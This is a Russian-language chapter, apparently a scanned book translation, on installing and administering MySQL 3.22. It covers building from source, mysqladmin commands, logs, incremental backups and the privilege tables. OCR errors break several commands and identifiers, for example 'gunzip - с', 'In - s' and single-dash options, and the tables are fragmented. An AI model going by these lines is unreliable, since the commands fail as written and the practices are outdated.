    Файлы, имена которых включают названия машин и операционных систем, являются двоичными версиями для этих систем. Если название машины не указано, как в последней строке, то это исходный код. Если к файлу не присоединена метка 'alpha', 'beta' или 'gamma' - это стабильная версия. Что касается двух последних файлов списка, то первый - откомпилированная версия для Sun Solaris на машине Spare, а последний - исходный код. Прочие, более старые версии существуют, поскольку у команды разработчиков не всегда есть время и возможность откомпилировать каждую подверсию MySQL на каждой существующей операционной системе и аппаратной конфигурации. В действительности, большая часть прекомпилированных версий предоставлена обычными пользователями, которым удалось успешно откомпилировать последнюю версию на своей системе.


    Зная это, вы можете теперь выбрать версию MySQL, которую хотите использовать, и загрузить исходный код, если собираетесь компилировать MySQL, или двоичный дистрибутив для вашей машины, если он существует. Когда отсутствует двоичный дистрибутив, точно соответствующий вашей конфигурации, проверьте, нет ли его для слегка отличной конфигурации. Например, mysql-3.22.32a-ibm-aix4.2.1.0-powerpc.tgz может работать также на версии AIX 4.1.4 на том же типе машин. Если вы не можете таким образом подобрать работающую версию, попробуйте поискать в более старых версиях MySQL. Если и это не удастся, придется компилировать исходный код. В случае успешной компиляции и запуска MySQL можно предоставить откомпилированные двоичные файлы команде разработчиков MySQL для включения в архив.

    Установка из исходного кода

    Загрузив дистрибутив с исходным кодом, распакуйте архив с помощью команды:

    gunzip - с mysql-x.xx.xx.tar.gz | tar xvf -

    где mysql-x. xx. xx . tar. gz - имя загруженного вами файла. В результате в рабочем каталоге будет создан каталог mysql-x. xx. xx. Перейдите в него. Запустите сценарий configure в рабочем каталоге. Вызовите его как . /configure, чтобы случайно не запустить программу с тем же именем, находящуюся где-либо в другом месте. Во многих случаях установка прекрасно проходит без задания каких-либо параметров, но при возникновении трудностей можно использовать многочисленные параметры, информацию о которых можно вывести на экран, задав ключ -help. Вот наиболее употребительные:

    --without-server

    В результате компилируются все имеющиеся клиенты MySQL, но не сервер.

    -prefix

    Устанавливается каталог инсталляции, отличный от каталога по умолчанию (/usr/ local/ ).

    -with-low-memory

    Эта опция запрещает компилятору использовать некоторые виды оптимизации, требующие много памяти при компиляции. С ее помощью устраняется большинство ошибок, связанных с нехваткой памяти при компиляции.

    -localstatedir

    Используется для назначения каталога для файлов базы данных, отличающегося от принятого по умолчанию (/usr/local/var).


    -with-charset

    Используется для выбора набора символов, отличного от принятого по умолчанию (lati.nl). На момент написания книги доступны наборы символов big5, danish, cp1251, cp1257, croat, czech, dec8, dos,

    euc_kr, germanl, Hebrew, hp8, hungarian, koi8_ru, koi8_ukr, latin1, Iatin2, swe7, usa7, win1251, win1251u, kr, ujis, sjis, tis620.

    После завершения выполнения сценария configure запустите make в рабочем каталоге. В результате будет произведена полная компиляция.

    По завершении компиляции команда make install установит все в нужное место.

    Если вы впервые устанавливаете на данной машине MySQL или все файлы баз данных MySQL были удалены после предыдущей инсталляции, выполните следующую команду, чтобы создать структуру баз данных и административные таблицы:

    ./scripts/mysql_install_db

    При этом запустится также демон сервера. Чтобы убедиться в том, что он работает, перейдите в инсталляционный каталог (по умолчанию / usr/local/) и введите команду:

    ./bin/mysqladmin version

    На экран будет выведено что-то, близкое к следующему:

    mysqladmin Ver 7.11 Distrib 3.22.23b, for linux on 1586

    TCX Datakonsult AB, by Monty

    Server version 3.22.23b-debug

    Protocol version 10

    Connection Localhost via UNIX socket

    UNIX socket /tmp/mysql.sock

    Uptime: 6 sec

    Threads: 1 Questions: 1 Slow queries: 0 Opens: 6 Flush tables: 1 Open

    tables: 2 Memory in use: 1093K Max memory used: 1093K

    Итак, последовательность шагов установки такова:

    gzip - с mysql-x.xx. xx. tar. gz | tar xvf -

    cd mysql-x.xx.xx

    ./configure

    make

    make install

    ./scripts/mysql_install_db

    ./bin/mysqladmin version

    Установка двоичного дистрибутива

    Загрузив двоичный дистрибутив, вы должны выбрать каталог для установки файлов MySQL. Чаще всего выбирается /usr/local/mysql, но это в значительной мере зависит от потребностей ваших пользователей, и имеющихся у вас прав доступа.

    Перейдите в каталог на уровень выше, чем тот, в котором вы хотите разместить дистрибутив MySQL. Например, если вы хотите использовать /usr/local/mysql, перейдите в /usr/local. Для распаковки дистрибутива выполните команду:


    gunzip - с /tmp/mysql-x.xx.xx-fflymac/line. tgz | tar xvf -

    Здесь /tmp - имя каталога, в который вы загрузили дистрибутив MySQL, a mysql-x.xx.xx-mymachine.tgz - имя загруженного файла.

    В результате в текущем каталоге будет создан каталог mysql-x.xx.xx mysql. Если вы хотите, чтобы файлы были просто в каталоге mysql, создайте связь:

    In - s mysql-x.xx.xx mysql

    Теперь проверьте, содержит ли двоичный пакет таблицы назначения прав доступа. Перейдите в каталог mysql/mysql. Если он не существует или пуст, вам придется создать таблицы самому. Вернитесь назад, на один уровень, в главный каталог установки mysql и выполните команду:

    scripts/mysql_install_db

    Эту команду нужно выполнить только один раз. Для запуска демона MySQL введите:

    bin/safe_mysqld --log &

    Чтобы убедиться, что демон правильно работает, введите:

    bin/mysqladmin version

    Ответ должен быть примерно таким:

    Mysqladmin Ver 6.3 Distrib 3.21.33, for sun-solaris2.6 on spare

    TCX Datakonsult AB, by Monty

    Server version 3.21.17-alpha

    Protocol version 10

    Connection Localhost via UNIX socket

    TCP Port 3333

    UNIX socket /tmp/mysql.sock

    Uptime: 13 sec

    Running threads: 1 Questions: 20 Reloads: 2 Open Tables: 3



    Администрирование базы данных

    Теперь, когда у вас есть свежеустановленная и запущенная MySQL, нужно первым делом поменять пароль суперпользователя сервера, выполнив из каталога, в который установлена MySQL, команду:

    ./bin/mysqladmin -u root password 'mynewpasswd'

    При работающей и защищенной MySQL вы можете заняться некоторыми начальными задачами администрирования, чтобы MySQL смогла начать вам служить.

    Утилита mysqladmin

    Главным инструментом администрирования баз данных в MySQL служит утилита mysqladmin. С ее помощью вы можете создавать, уничтожать и контролировать свой сервер и поддерживаемые им базы данных.

    Создание баз данных

    Ваш сервер бесполезен, пока нет баз данных, которые он обслуживает. С помощью mysqladmin можно создавать новые базы данных:

    mysqladmin -p create DATABASENAME

    Параметр -р указывает, что вы хотите, чтобы было выдано приглашение для ввода пароля суперпользователя, который вы задали раньше. Если вы введете правильный пароль, то mysqladmin создаст новую пустую базу данных с именем, которое вы указали. Поскольку в MySQL база данных - это каталог с группой файлов, команда mysqladmin create создает новый каталог, который будет содержать файлы базы данных. Например, если вы создали базу данных с именем "mydata", в каталоге data, содержащемся в директории, в которую установлена MySQL, будет создан каталог mydata.

    Администрирование базы данныхПоскольку базы данных и таблицы MySQL хранятся как файлы файловой системы, вы столкнетесь с неприятными различиями -в поведении реализаций для Unix и Win32. Именно, все файловые системы для Win32 нечувствительны к регистру, в то время как файловые системы Unix различают регистр. В результате имена баз данных и таблиц различаются по регистру в Unix и не различаются в Win32.

    Удаление базы данных

    В процессе разработки приложения вам, вероятно, потребуется создать несколько баз данных для поддержки процесса разработки. Например, обычной практикой в разработке приложений баз данных является создание отдельных баз данных для разработки, тестирования и работы. По завершении разработки следует избавиться от этих промежуточных баз данных. Утилита mysqladmin позволяет удалить базу данных с помощью параметра "drop":


    mysqladmin -p drop DATABASENAME

    Как и в команде mysqladmin create, DATABASENAME является именем базы данных, которую нужно уничтожить. MySQL не позволит вам случайно удалить базу данных. После ввода этой команды она предупредит вас, что удаление базы данных потенциально очень опасно и попросит вас подтвердить свое намерение. После удаления базы данных вы можете убедиться в том, что в каталоге data больше нет каталога, служившего ранее этой базой данных.

    Переименование и копирование баз данных

    В MySQL нет утилиты для переименования и копирования баз данных. Поскольку база данных - это просто файлы в некотором каталоге, можно, соблюдая осторожность, переименовывать и копировать базы данных с помощью операционной системы. Хотя использование команд операционной системы позволяет переименовывать и копировать базы данных, результат не сохранит параметров защиты исходных таблиц, поскольку MySQL хранит данные по защите в таблице системной базы данных. Для того чтобы полностью скопировать базу данных, вам потребуется также продублировать ее информацию по защите, хранимую в системной базе данных MySQL. Мы подробнее рассмотрим систему защиты MySQL далее в этой главе.

    Состояние сервера

    В утилите mysqladmin очень много команд, позволяющих контролировать состояние сервера MySQL. Ввод команды mysqladmin status обеспечивает выдачу состояния сервера в одной строке, которая выглядит следующим образом:

    Uptime: 395 Threads: 1 Questions: 14 Slow queries: 0

    Opens: 10 Flush tables: 1 Open tables: 6

    Выводимые величины означают следующее: Uptime

    Число секунд, в течение которых сервер запущен и работает. Threads

    Число потоков, взаимодействующих с базой в данный момент. Вы всегда увидите хотя бы один поток - тот, который подсчитывает все остальные потоки. Сервер имеет также три других потока, невидимых данной команде, - один обрабатывает сигналы, другой управляет всеми другими потоками и третий ждет входящих соединений.

    Questions

    Число запросов, переданных базе данных с момента запуска.


    Slow queries

    Число запросов, выполнение которых потребовало больше времени, чем время, указанное в конфигурации. Соответствующий ключ в конфигурации - long_query_tiroe . Мы рассмотрим параметры конфигурации далее в этой главе.

    Opens

    Число таблиц, открытых с момента запуска сервера.

    Flush tables

    Количество команд flush, refresh и reload.

    Open tables

    Число таблиц, открытых в данный момент. Поскольку MySQL мно-гопоточна, каждая таблица одновременно может быть открыта несколько раз. Например, можно одновременно выполнять любое число команд SELECT по одной и той же таблице. По этой причине число открытых таблиц может быть больше, чем общее число таблиц в системе.

    Если компиляция MySQL производилась с параметром --with-debug , то mysqladmin status показывает также текущую и максимальную величину используемой памяти.

    Если вас интересует более общая статическая информация, то выполните команду mysqladmin version. Она выдает на экран следующее:

    bin/mysqladmin Ver 7.8 Distrib 3.22.17, for sun-solaris2.6 on spare TCX Datakonsult AB, by Monty

    Server version 3.22.17

    Protocol version 10

    Connection Localhost via Unix socket

    Unix socket /tmp/;ny3ql. sock

    Uptime: 23 mm 58 sec

    Threads: 1 Questions: 15 Slow queries: 0 Opens: 10 Flush tables: 1 Open tables: 6

    Последняя строка совпадает, конечно, с теми данными, которые показывает mysqladmin status. Остальные данные совершенно другие.

    Server version

    Версия запущенного сервера MySQL. Protocol version

    Версия коммуникационного протокола MySQL, который поддерживает сервер. Если у вас возникли трудности с инструментарием, который использует коммуникационный протокол MySQL, вы можете сравнить это значение с тем, которое ожидает ваша программа.

    Connection

    Метод подключения к серверу. В нашем примере клиент общается с MySQL через сокет Unix. Если вы обращаетесь к удаленному серверу, в этой позиции будет имя машины, с которой вы подключились.

    Unix socket

    Имя файла сокета, который вы используете для обмена данными с сервером. Если вы связываетесь с MySQL через TCP/IP, вместо этого пункта будет указан пункт TCP port с номером порта MySQL.


    Uptime

    Суммарное время работы сервера.

    Две другие команды, mysqladmin variables и mysqladmin extended-status, предлагают дополнительную информацию.

    Поскольку MySQL многопоточна, отследить активность процесса с помощью команды Unix ps не просто. Несмотря на то что выполняется несколько потоков, в списке процессов будет указан только один процесс. MySQL позволяет справиться с этим с помощью команды mysqladmin processlist, которая перечисляет все активные потоки в виде чудесно представленной таблички:

    Администрирование базы данных

    Здесь точно указано, чем занят каждый процесс. Выдаваемые величины имеют следующий смысл:

    Id

    Внутренний идентификационный номер потока. Это значение не имеет отношения к каким-либо системным ID процессов. Вы можете использовать это число в команде mysqladmin kill, чтобы завершить поток.

    User

    Пользователь, подключенный к серверу через этот поток.

    Host

    Имя узла, с которого подключился пользователь.

    db

    База данных, к которой подключен пользователь.

    Command

    Тип команды, выполняемой потоком. Команда может иметь один из следующих типов:

    Sleep

    Поток ждет ввода пользователя. Большинство процессов должно находиться в этом состоянии.

    Quit

    Поток в процессе завершения.

    Init DB

    Поток готовит выбранную базу к взаимодействию. Клиент одновременно может обмениваться данными только с одной базой, но переключение между базами можно осуществить в любой момент.

    Query

    Поток выполняет реальный запрос. Хотя наибольшая часть взаимодействия с базой данных происходит в виде запросов, эти команды производятся очень быстро и редко появляются в выдаче.

    Field list

    Поток создает список полей в таблице.

    Create DB

    Поток создает новую базу данных.

    Drop DB

    Поток удаляет базу данных.

    Reload

    Поток перезагружает таблицы доступа MySQL. После перезагрузки все новые потоки будут использовать обновленные таблицы доступа.

    Shutdown

    Поток находится в процессе завершения всех других потоков и закрытия сервера.

    Statistics

    Поток генерирует статистику.


    Processes

    Этот поток анализирует другие потоки. С этим значением будет показан поток, выполняющий данную команду.

    Connect

    Поток в процессе установления входящего соединения с клиентом.

    Kill

    Этот поток завершает другой поток.

    Refresh

    Поток очищает все буферы и сбрасывает журнальные файлы.

    Файлы журналов MySQL дают еще один способ получения полезной информации для администрирования сервера. MySQL создает главный журнал, если mysqld запускается с параметром --log. Этот журнал ведется в файле /usr/local/var/HOSTNAME.log, где HOSTNAME - имя машины, на которой запущен MySQL. В этот журнал записываются подключения к серверу и команды, посылаемые ему клиентами.

    Задав параметр -debug для mysqld (или safe_mysqld), вы заставите MySQL посылать в журнал дополнительную информацию. Пакет отладки, используемый MySQL, имеет десятки параметров, большинство из которых вы никогда не будете использовать. Наиболее часто используется установка -d:t:o,FILENAME, где FILENAME - имя журнала отладки, который вы хотите использовать. При задании этого параметра в журнал будут заноситься практически все действия сервера, шаг за шагом.

    MySQL поддерживает еще один журнал, пригодный для чтения. Если запустить MySQL с параметром -log-update, будет создан файл с именем HOSTNAME. #, где HOSTNAME имя машины, a #- уникальное число. В этом журнале содержатся все изменения, вносимые в таблицы баз данных. Этот журнал создается в виде SQL, поэтому все операции можно воспроизвести на другом сервере баз данных.

    Завершение работы сервера

    Следующая команда производит корректное завершение работы сервера MySQL:

    mysqladmin -p shutdown

    Эта команда - самый правильный способ завершения работы сервера. Если вы запустили MySQL с помощью safe_mysqld и пытаетесь закрыть сервер каким-либо другим способом, safe_mysqld просто запустит еще один экземпляр сервера. Можно также безопасно закрыть сервер традиционной Unix-командой kill, но никогда не пользуйтесь kill-9.

    Параметры командной строки для mysqladmin


    Утилита mysqladmin - очень богатый инструмент со множеством параметров командной строки. Общий ее формат

    mysqladmin OPTIONS COMMAND1 COMMAND2 . . . COMMANDn

    Иными словами, можно одновременно задавать несколько команд. Будет выполнена даже такая последовательность команд как, скажем,

    mysqladmin -p create silly drop silly

    Эта команда одним махом создаст и уничтожит базу данных "silly". Вот перечень команд, которые можно передать mysqladmin:

    create DATABASENAME

    Создает новую базу данных с указанным именем.

    drop DATABASENAME

    Удаляет базу данных с указанным именем.

    extended-status

    Выдает расширенное сообщение о статусе сервера.

    flush-hosts

    Немедленно записывает все буферизованные изменения на удаленных компьютерах.

    flush-logs

    Немедленно записывает все буферизованные изменения в журналы.

    flush-tables

    Немедленно записывает все буферизованные изменения в таблицы.

    flush-privileges

    То же, что reload.

    killID1,ID2.....IDn

    Завершает потоки с заданными IDs.

    password NEWPASSWORD

    Заменяет пароль на новое значение.

    ping

    Проверяет, работает ли еще mysqld.

    processlist

    Выдает список активных потоков.

    reload

    Заново загружает все таблицы доступа.

    refresh

    Записывает буферизованные изменения во все таблицы и закрывает и открывает все журналы.

    shutdown

    Завершает работу сервера.

    status

    Выдает краткое сообщение о состоянии сервера.

    variables

    Выдает значения имеющихся переменных.

    version

    Выдает данные о версии сервера.

    Кроме команд поддерживаются также следующие параметры:

    -# LOG

    Выдача отладочной информации в журнал. Часто это 'd:t:o,FILENAME'.

    -f

    Не запрашивать подтверждение на удаление таблицы и переходить к следующей команде даже при невозможности выполнить эту.

    -? или --help

    Выдача подсказки по использованию утилиты msqladmin.



    Использовать сжатие в протоколе клиент/сервер.

    -Н HOST

    Подключиться к указанному компьютеру.

    -р [PASSWORD]

    Использовать указанный пароль для проверки прав пользователя.


    Если пароль не указан, пользователю будет выдано приглашение для ввода пароля.

    -Р PORT

    Использовать для подключения указанный порт.

    -i SECONDS

    Повторно выполнять команды через заданный промежуток времени.

    -s

    Выйти без сообщений, если соединение с сервером невозможно установить.

    -S SOCKET

    Файл для использования в качестве сокета Unix.

    -t TIMEOUT

    Тайм-аут для соединения.

    -u USER

    Имя для регистрации пользователя, если оно отлично от текущего.

    -V

    Выдать информацию о версии и завершить работу.

    -w COUNT

    Ждать и повторить попытку заданное число раз, если сервер в данный момент не готов.

    Резервирование данных

    Нельзя переоценить важность регулярного резервирования данных. Без работоспособной резервной копии в результате аварии питания могут быть потеряны месяцы и годы работы. В то же время при хорошо спланированном резервировании можно за короткое время восстановить данные почти при любой аварии.

    В главе 5 "mSQL" приводится подробное изложение роли команды msqldump при резервировании данных mSQL. MySQL поддерживает почти идентичную функциональность в виде команды mysqldump. Мы рекомендуем изучить этот пункт, чтобы понять роль mysqldump при полном резервировании баз данных. В данном параграфе мы остановимся на следующем наиболее важном виде резервирования - инкре-ментном резервировании.

    Хотя технически полного резервирования данных вполне достаточно для восстановления после потери данных, его иногда трудно осуществить. Когда у вас много данных, файлы, необходимые для полного резервирования, могут занимать слишком большое дисковое пространство. Поэтому общепринято осуществлять полное резервирование раз в неделю или через небольшие промежутки времени, а ежедневно производить резервирование данных, изменившихся с момента последнего полного резервирования. Это называется инкрементным резервированием.

    При использовании MySQL инкрементное резервирование можно производить, используя такую возможность сервера баз данных, как "update log" - журнал изменений MySQL. Если сервер баз данных mysqld запущен с параметром --log-update, то все изменения в базе данных будут сохраняться в файле в виде команд SQL. Изменения будут сохраняться в порядке их производства. В результате получается файл, который, будучи обработан монитором mysql, воспроизведет все действия, произведенные над базой данных. Если журнал хранится с самого образования базы данных, то будет восстановлен весь жизненный цикл базы данных, который приведет ее в текущее состояние.


    С большей пользой журнал, ведущийся с некоторого определенного момента, например, от последнего резервирования базы данных, можно использовать для приведения резервной копии в текущее состояние. Такова технология инкрементного резервирования. Производите регулярное (скажем, раз в неделю) полное резервирование базы данных. Затем каждый день копируйте журнал изменений на магнитную ленту или выделенную область жесткого диска. Сохраняйте копии всех ежедневных журналов изменений, начиная с даты последнего полного резервирования. Это позволяет восстановить базу данных в случае аварии, а также все данные, утраченные с момента последнего резервирования. Поскольку журнал изменений является текстовым файлом, можно просмотреть команды SQL для поиска конкретных данных.

    Каким бы методом вы не пользовались для резервирования, производите его часто и периодически проверяйте возможность реального восстановления своих данных. Многие администраторы баз данных старательно сохраняли резервные данные лишь для того, чтобы в один прекрасный день убедиться, что в результате ошибки - оператора, программы или носителя информации - их резервные копии стали абсолютно бесполезны.

    Система безопасности

    Вам не только нужно иметь надежный доступ к своим данным, но и быть уверенным, что у других нет никакого доступа к ним. MySQL использует собственный сервер баз данных для обеспечения безопасности. При первоначальной установке MySQL создается база данных под названием "mysql". В этой базе есть пять таблиц: db, host, user, tab-les_priv, и columns_priv . Более новые версии MySQL создают также базу данных с названием func, но она не имеет отношения к безопасности. MySQL использует эти таблицы для определения того, кому что позволено делать. Таблица user содержит данные по безопасности, относящиеся к серверу в целом. Таблица host содержит права доступа к серверу для удаленных компьютеров. И наконец, db, tables_priv и со-lumns_priv управляют доступом к отдельным базам данных, таблицам и колонкам.


    Мы кратко рассмотрим все таблицы, поддерживающие безопасность в MySQL, а затем рассмотрим технологию их использования при обеспечении защиты ядром MySQL.

    Таблица user

    Таблица user имеет вид, показанный в Таблице 4-1:

    Таблица 4-1. Таблица user



    Поле



    Тип



    Null



    Ключ



    Значение



    Примеч.



















    по умолчанию







    Host



    char(60)







    PRI











    User



    char(16)







    PRI













    Поле



    Тип



    Null



    Ключ



    Значение



    Примеч.



















    по умолчанию







    Password



    char(16)



















    Select_priv



    enum('N','Y')











    N





    Insert priv enum('N','Y') N


    Update_priv



    enum('N','Y')











    N







    Delete_priv



    enum('N','Y')











    N







    Create_priv



    enum('N','Y')











    N







    Drop priv



    enum('N','Y')











    N







    Reload priv



    enum('N','Y')











    N







    Shutdown_priv



    enum('N','Y')











    N







    Process_priv



    enum('N','Y')











    N







    File_priv



    enum('N','Y')











    N







    Grant_priv



    enum('N','Y')











    N







    References_priv



    enum('N','Y')











    N







    Index_priv



    enum('N','Y')











    N







    Alter_priv



    enum('N','Y')











    N





    В колонках Host и User можно использовать символ "% ", заменяющий произвольную последовательность символов. Например, имя узла "chem%lab" включает в себя "chembiolab", "chemtestlab" и т. д. Специальное имя пользователя "nobody" действует как одиночный "% ", то есть охватывает всех пользователей, не упомянутых где-либо в другом месте. Ниже разъясняется смысл различных прав доступа:

    Select_priv

    Возможность выполнять команды SELECT.

    Insert__priv

    Возможность выполнять команды INSERT.

    Update_priv

    Возможность выполнять команды UPDATE.

    Delete_priv

    Возможность выполнять команды DELETE.

    Createjyriv

    Возможность выполнять команды CREATE или создавать базы данных.


    Drop_priv

    Возможность выполнять команды DROP для удаления баз данных.

    Reload_priv

    Возможность перезагружать информацию о доступе с помощью mysqladmin reload.

    Shutdown_priv

    Возможность останавливать сервер через mysqladmin shutdown.

    Process_priv

    Возможность управлять процессами сервера.

    File_priv

    Возможность читать и записывать файлы с помощью команд типа SELECT INTO OUTFILE и LOAD DATA INFILE.

    Grant_priv

    Возможность давать привилегии другим пользователям.

    Index_priv

    Возможность создавать и уничтожать индексы.

    Alter_priv

    Возможность выполнять команду ALTER TABLE.

    В MySQL есть специальная функция, позволяющая скрыть пароли от любопытных глаз. Функция password() зашифровывает пароль. Ниже показано, как использовать функцию password() в процессе добавления пользователей в систему.

    INSERT INTO user (Host, User, Password, Select_priv,

    Insert_priv, Update_priv, Dclete_priv)

    VALUES ('%', 'bob', password('mypass'), 'Y', 'Y', 'Y'.'Y')

    INSERT INTO user (Host, User, Password, Select_priv)

    VALUES ('athens.imaginary.com', 'jane', '', 'Y')

    INSERT INTO user (Host, User, Password)

    VALUES ('%', 'nobody', ")

    INSERT INTO user (Host, User, Password, Select_pnv,

    Insert_priv, Updatejriv, Delete_priv)

    VALUES ('athens.imaginary.com', 'nobody',

    password('thispass'), 'Y', 'Y', 'Y', 'Y')

    Администрирование базы данныхИмена пользователей MySQL обычно не связаны с именами пользователей операционной системы. По умолчанию кли-ентские средства MySQL используют при регистрации имена пользователей операционной системы. Для них, однако, не требуется обязательного соответствия. В большинстве клиентских приложений MySQL можно с помощью параметра -и подключиться к MySQL, используя любое имя. Точно так же ваше имя как пользователя операционной системы не появится в таблице user, если не будет специально включено в нее с присвоением прав.

    Первый созданный нами пользователь, "bob", может подключаться к базе данных с любого компьютера и выполнять команды SELECT, INSERT, UPDATE и DELETE. Второй пользователь, "jane", может подключаться с "athens.imaginary.com", не имеет пароля и может выполнять только SELECT. Третий пользователь - "nobody" - с любой машины.'Этот пользователь вообще ничего не может делать. Последний пользователь -"nobody" - с машины "athens.imaginary.com", он может выполнять SELECT, INSERT, UPDATE и DELETE, как и пользователь "bob."


    Как MySQL производит сопоставление? Возможно, вы обратили внимание, что некоторое имя может соответствовать на деле нескольким записям. Например, "nobody@athens.imaginary.com" соответствует и "nobody@%", и "nobody@athens.imaginary.com". Прежде чем осуществлять поиск в таблице user, MySQL сортирует данные следующим образом:

  • Сначала ищется соответствие для узлов, не содержащих масок " % ", при этом пустое поле Host трактуется как "% ".

  • Для одного и того же узла сначала проверяется соответствие имен, не содержащих масок. Пустое поле User трактуется как содержащее "%".

  • Первое найденное соответствие считается окончательным.

    В предыдущем примере пользователь сначала будет сравниваться с "nobody" из "athens.imagmary.com", поскольку "athens.imaginary.com" в порядке сортировки стоит выше "% ". Поскольку имена компьютеров сортируются раньше имен пользователей, значения привилегий для компьютера, с которого вы подключаетесь, имеют приоритет перед любыми конкретными правами, которые у вас могут быть. Например, если таблица user содержит записи:



    Host



    User



    %

    athens .imaginary .com



    jane

    и jane подключается с "athens.imaginary.com", то MySQL будет использовать привилегии, данные "athens.imaginary.com".

    Таблица db

    Вы могли обратить внимание, что в таблице user не упоминаются конкретные базы данных и таблицы. Таблица user управляет сервером в целом. Однако на сервере обычно находится несколько баз данных, которые служат различным целям и, соответственно, обслуживают разные группы пользователей. Права доступа к отдельным базам данных хранятся в таблице db. Эта таблица имеет структуру, представленную в таблице 4-2:

    Таблица 4-2. Таблица db



    Поле



    Тип



    Null



    Ключ



    Значение по умолчанию



    Примеч.



    Host



    char(60)







    PRI











    Db



    char(32)







    PRI











    User



    char(16)







    PRI











    Select priv



    enum('N','Y')











    N







    Insert_priv



    enum('N','Y')











    N







    Update_priv



    enum('N','Y')











    N







    Delete priv



    enum('N','Y')











    N







    Create_priv



    enum('N','Y')











    N







    Drop_priv



    enum('N','Y')











    N







    Referen-



    enum('N','Y')











    N







    ces_priv























    Index_priv



    enum('N','Y')











    N







    Alter_priv



    enum('N','Y')











    N





    <


    Эта таблица во многом похожа на таблицу user. Основное отличие в том, что вместо колонки Password имеется колонка Db. Таблица управляет правами пользователей в отношении определенных баз данных. Поскольку привилегии, указанные в таблице user, относятся ко всему серверу в целом, права, присвоенные пользователю в таблице user, перекрывают права, присвоенные тому же пользователю в таблице db. Например, если пользователю в таблице user разрешают доступ типа INSERT, это право действует в отношении всех баз данных, вне зависимости от того, что указано в таблице db.

    Наиболее эффективно создание в таблице user записей для всех пользователей, в которых не даны никакие права. В этом случае пользователь может лишь подключиться к серверу, не выполняя никаких действий. Исключение делается только для пользователя, назначенного администратором сервера. Все остальные должны получить права доступа через таблицу db. Каждый пользователь должен присутствовать в таблице user, иначе он не сможет подключаться к базам данных.

    Те же правила, которые действуют в отношении колонок User и Host в таблице user, действуют и в таблице db, но с некоторой особенностью. Пустое поле Host вынуждает MySQL найти запись, соответствующую имени узла пользователя, в таблице host. Если такой записи не найдено, MySQL отказывает в доступе. Если соответствие найдено, MySQL определяет права как пересечение прав, определяемых таблицами host и db. Иными словами, в обеих записях разрешение должно иметь значение "Y", иначе в доступе отказывается.

    Таблица host

    Таблица host служит особой цели. Ее структура показана в таблице 4-3:

    Таблица 4-3. Таблица Host



    Поле



    Тип



    Null



    Ключ



    Значение по умолчанию



    Примеч.



    Host



    char(60)







    PRI











    Db



    char(32)







    PRI











    Select_priv



    enum('N','Y')











    N







    Insert_priv



    enum('N','Y')











    N







    Update_priv



    enum('N','Y')











    N







    Delete_priv



    enum('N','Y')











    N







    Create_priv



    enum('N','Y')











    N







    Drop_priv



    enum('N','Y')











    N







    Grant_priv



    enum('N','Y')











    N







    Referen-



    enum('NYY')











    N







    ces_priv























    Index_priv



    enum('N','Y')











    N







    Alter_priv



    enum('N','Y')











    N





    <


    Таблица host позволяет задать основные разрешения на межкомпьютерном уровне. При проверке прав доступа MySQL ищет в таблице db соответствие имени пользователя и его машине. Если он находит запись, соответствующую имени пользователя, поле host которой пусто, MySQL обращается к таблице host и использует пересечение обоих прав для определения окончательного права доступа. Например, у вас может быть группа серверов, которые вы считаете менее защищенными, чем остальная часть сети. Вы можете запретить для них все права записи. Если "bob" заходит с одной из таких машин, и его запись в таблице db содержит пустое поле host, ему будет запрещена операция записи, даже если она разрешена ему согласно таблице db.

    Таблицы tables_priv и colums_priv

    Эти две таблицы, по сути, уточняют данные, имеющиеся в таблице db. Именно, право на всякую операцию сначала проверяется по таблице db, затем по таблице tables_priv , затем по таблице columns_priv . Операция разрешается, если одна из них дает разрешение. С помощью этих таблиц можно сузить область действия разрешений до уровня таблиц и колонок. Управлять этими таблицами можно через команды SQL GRANT и REVOKE.

    Последовательность контроля доступа

    Теперь вы знаете, какие элементы участвуют в системе защиты MySQL. Соединим их вместе и покажем, как можно ими пользоваться в реальных ситуациях. MySQL осуществляет контроль доступа в два этапа. Первый этап - подключение. Необходимо подключиться к серверу, прежде чем пытаться что-либо сделать.

    При подключении проводятся две проверки. Сначала MySQL проверяет, есть ли в таблице user запись, соответствующая имени пользователя и машины, с которой он подключается. Поиск соответствия основывается на правилах, которые мы обсудили раньше. Если соответствие не найдено, в доступе отказывается. В случае когда соответствующая запись найдена и имеет непустое поле Password , необходимо ввести правильный пароль. Неправильный пароль приводит к отклонению запроса на подключение.

    Если соединение установлено, MySQL переходит к этапу верификации запроса. При этом сделанные вами запросы сопоставляются с вашими правами. Эти права MySQL проверяет по таблицам user, db, host, tables_priv и columns__priv . Как только найдено соответствие в таблице user с положительным разрешением, команда немедленно выполняется. В противном случае MySQL продолжает поиск в следующих таблицах в указанном порядке:


  • db

  • tables_priv

  • columns_priv

    Если таблица db содержит разрешение, дальнейшая проверка прекращается и выполняется команда. Если нет, то MySQL ищет соответствие в таблице tables_priv . Если, к примеру, это команда SELECT, объединяющая две таблицы, то пользователь должен иметь разрешения для обеих этих таблиц. Если хотя бы одна из записей отказывает в доступе или отсутствует, MySQL точно таким же способом проверяет все колонки в таблице columns_priv .

    Утилита mysqlaccess

    Освоение системы защиты MySQL поначалу может показаться вам затруднительным. Несколько упрощает дело имеющаяся в MySQL утилита mysqlaccess. Эта команда является сценарием на языке Perl , который, исходя из имен машины, пользователя и базы данных, точно показывает, что данный пользователь может делать и почему. Например, команда mysqlaccess nobody isp.com mydata может вывести следующее:

    Access-rights

    for USER 'nobody', from HOST 'isp.com', to DB 'mydata'

    Администрирование базы данных

    BEWARE: Everybody can access your DB as user 'nobody'

    : from host 'isp.com' WITHOUT supplying a password. : Be very careful about it!!

    The following rules are used: db : 'isp.com','mydata','nobody','Y','Y','Y','Y','N',

    'N','N','N','N','N'

    host : 'Not processed: host-field is not empty in db-table.'

    user : '%', 'nobody', ", 'N', 'N', 'N', 'N', 'N', 'N', 'N', 'N', 'N'

    (Выводится, в частности, предупреждение о том, что база доступна любому, регистрирующемуся как "nobody" с машины "isp.com" без ввода пароля, в связи с чем нужно проявлять осторожность.)

    Как видите, даже если вы полностью разобрались с системой безопасности MySQL, утилиту mysqlacces полезно использовать для контроля системы безопасности вашего сервера.

    Изменение прав доступа

    MySQL загружает таблицы доступа при запуске сервера. Преимуществом такого подхода по сравнению с динамическим обращением к таблицам является скорость. Отрицательная сторона состоит в том, что изменения, производимые в таблицах доступа MySQL, не сразу начинают действовать. Для того чтобы сервер увидел эти изменения, необходимо выполнить команду mysqladmin reload. Если таблицы изменяются с помощью SQL-команд GRANT или REVOKE, явно перегружать таблицы не требуется.

